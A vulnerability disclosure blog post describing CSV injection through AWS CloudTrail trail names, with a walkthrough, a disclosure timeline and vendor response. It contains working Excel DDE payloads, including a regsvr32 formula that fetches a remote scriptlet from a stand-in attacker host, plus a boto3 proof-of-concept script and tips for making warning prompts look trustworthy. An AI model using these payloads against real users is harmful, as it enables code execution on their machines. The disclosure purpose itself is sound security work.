Intro: Cloud Security Risks and AWS CloudTrail
This blog is part two of our Cloud Security Risks series. Leading Cloud platforms like AWS, Microsoft Azure and Google Cloud and Cloud applications are ideal targets for attackers as well as phishing and penetration testing campaigns. The goal of our “Cloud Security Risks” series is to identify vulnerabilities in leading Cloud platforms such as AWS, Microsoft Azure, and leading Cloud applications to help address and improve security risks.
In our previous post, Cloud Security Risks: Part I – Microsoft Azure CSV Injection Vulnerability, we explained the concept of CSV injection and the risks it poses.
The CSV injection vulnerability disclosed this week impacts AWS CloudTrail, a service available on the AWS platform, and poses a potentially higher risk than our previous disclosure due to a lack of permissions required for the attack. As was the case with last week’s post, a victim can unsuspectingly download and execute the payload during the course of normal, trusted business activity such as exporting data for reports, gathering log data, or even collecting information for a system health review.
Here, the researcher demonstrates again how the client-side mitigations, pop-up warning windows intended to caution the user about the potential for malicious code execution, are likely to be ignored making this an interesting exploit to address.
Please note: In last week’s post, we received several comments that if a user observed CMD.EXE or SHELL.EXE requesting to run, the user would become suspicious and cancel the action. While that may be true for more experienced and security aware users, the attack is still valid as many users would not notice or consider the warning to be serious. However, in this week’s post, we also provide an even stealthier attack formula that shows a much more trustworthy MSEXCEL.EXE.
Vulnerability Summary
Users with ‘CreateTrail’ permissions within an AWS CloudTrail account can attempt to create a trail with a malicious Excel formula as the name. Although the attempt will fail, the event will be logged to AWS CloudTrail’s event history. This entry will include the “Resource name” column referring to the rejected name. This allows for an Excel formula to be injected into the CloudTrail logs. When another user exports that data as a .csv file and imports it into Excel, it allows an attacker to execute malicious code on user’s computer.
This vulnerability is very similar to the Azure CSV injection vulnerability reported last week, however, this attack requires fewer/lower permissions to execute this attack. This AWS attack also differs because it is possible to observe the malicious formula without having to click into the specific log. That was not the case in the Azure vulnerability reported in Part I of the series.
About Amazon Web Services CloudTrail
CloudTrail is a service offered by Amazon Web Services that keeps track of all Events that have occurred within an AWS account. Events are a collection of read, create, modify, and delete API calls invoked in an account. A lot of information for each event is stored in CloudTrail, including but not limited to, the type of event, the user who triggered the event, the time it was triggered, the AWS resources involved, and much more. This kind of data can and should be reviewed periodically to understand what is going on in your AWS account as well as who is behind those actions. CloudTrail also allows a user with read permissions to export the past 90 days of log data into a .csv file for download.
CloudTrail CSV Injection Walkthrough
To begin executing this attack, I first navigated to the “Create a trail” page within AWS CloudTrail and filled in the name of the trail with my payload. This is where our malicious formula will be injected.
Next, scroll down and set the S3 bucket that this trail will send its logs to. It doesn’t matter whether you create a new bucket or choose an existing one.
Then press “Create” in the bottom right. It will fail, and an error message will appear at the top indicating that the name of your trail is invalid.
Although the attempt failed, a CreateTrail event has been triggered which means it will be logged to AWS CloudTrail Event history. It takes about eight minutes for it to show up. When it does, this is what you will see:
By clicking the event, you can inspect it more closely to see what was going on. You will see the “Error code” has the value of “InvalidTrailNameException”. What is interesting here is that the resource name of this event is the malicious payload that it rejected earlier on. Note that under the “Resource name” column, the malicious formula must be the first of the included resources (i.e. =cmd|’cmd’!’’ and 1 more, NOT newbucketforme123 and 1 more). Occasionally this will be switched, but it is most common that the formula shows up first, which enables the attack.
Now all you need to do is wait for your victim to export these logs to a .csv file and open them up in Microsoft Excel. FYI, these logs are kept available for download for 90 days before being purged. This gives you a large window of time for your attack to be executed.
This is what will happen to the victim as they download the logs:
Upon exporting the log data, many users will choose to open the file with Microsoft Excel. In doing so, the malicious formula is detected and will attempt to run. The user will see a popup box with a warning because an external program is trying to run.
The first popup box that shows up is a warning that links within the sheet need to be updated.
Notice that the security warning shows a “potential security concern,” but the warning box includes the text “Do not enable this content unless you trust the source of this file.” Since the victim has downloaded the file from their own AWS account, it will likely be considered trusted.
When Enable is clicked, one more informational popup box shows itself:
In a similar vein, Excel is requesting access to “start another application.” In this case, it includes the text “Only click Yes if you trust the source of this workbook and you want to let the workbook start the application.” Once again, they downloaded it from AWS so of course they trust it.
When Yes is clicked, the malicious formula is executed. In the case of this written tutorial, Windows Command Prompt is run.
Regarding the popup boxes, it has been found from previous research of other parties that most computer users will just click through popup boxes without ever reading them, so it doesn’t really matter what they say if that is the case.
Even though most users click through these warning windows, we have found a way to hone this attack further. As noted in the comments regarding last week’s blog post, some users may become suspicious at seeing a CMD.EXE or SHELL.EXE requesting to run and stop the process. The CMD.EXE or SHELL.EXE can be an indication that something malicious is going on.
In response to these comments, here is an even stealthier attack formula (shown below) that can be used so that the second popup warning box shows a much more trustworthy MSEXCEL.EXE instead of showing CMD.EXE or SHELL.EXE. There are a few additional tweaks required to get this to exploit correctly, but it is another very dangerous formula:
=MSEXCEL|’\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://evil.com/SCTLauncher.sct scrobj.dll’!”
Here you can see the alert box that will show up for this formula:
Here are the important columns from inside the newly opened Excel document.
As you can see, the “Resource name” column begins with my malicious payload, so Microsoft Excel interprets that cell as being a formula, which starts off the attack on the user’s computer.
Demonstrating the Attack: Proof of Concept
In the video and written tutorial, I use the AWS Console to exploit the vulnerability, which means there are a few more required permissions than the bare minimum CreateTrail permission. When performing this attack from the AWS Command-Line Interface, the only permission required is CreateTrail.
Here is a simple video demonstrating the attack:
Here is the associated script:
#!/usr/local/bin/python import boto3 payload = “=cmd|’/C calc’|’’” client = boto3.client(‘cloudtrail’) response = client.create_trail( Name=payload, S3BucketName=”random” ) print(response)
Disclosure Timeline:
12/13/2017 – AWS notified of the vulnerability
12/13/2017 – AWS responds
12/15/2017 – Full disclosure information provided to AWS
01/12/2018 – Met with vendor; vendor informs RSL of the fix
02/06/2018 – Vulnerability disclosed
Comments on Vendor’s Response
Amazon Web Services was contacted and informed of this vulnerability in AWS CloudTrail as outlined in the disclosure timeline. The organization understood the impact of the vulnerability and was responsive throughout the process. Ultimately, AWS decided providing documentation to users around the vulnerability was the best way to handle it.
Conclusion
CSV injection is a very dangerous and often overlooked attack vector that can have devastating effects on people, regardless of where this attack takes place. I hope that this series of blog posts brings some awareness to the issue and what is possible with this kind of attack.
Why Research Cloud Platform Vulnerabilities?
At Rhino Security Labs, we regularly dedicate time and resources toward developing techniques to bypass and evade various security systems, including major Cloud platforms such as AWS, Microsoft Azure and Google Cloud. Through this research, we have become experts in testing and perfecting Cloud installations, architecture, configuration and systems. By uncovering vulnerabilities that place organizations at risk and providing guidance to mitigate them, Rhino Security Labs helps drive security forward.
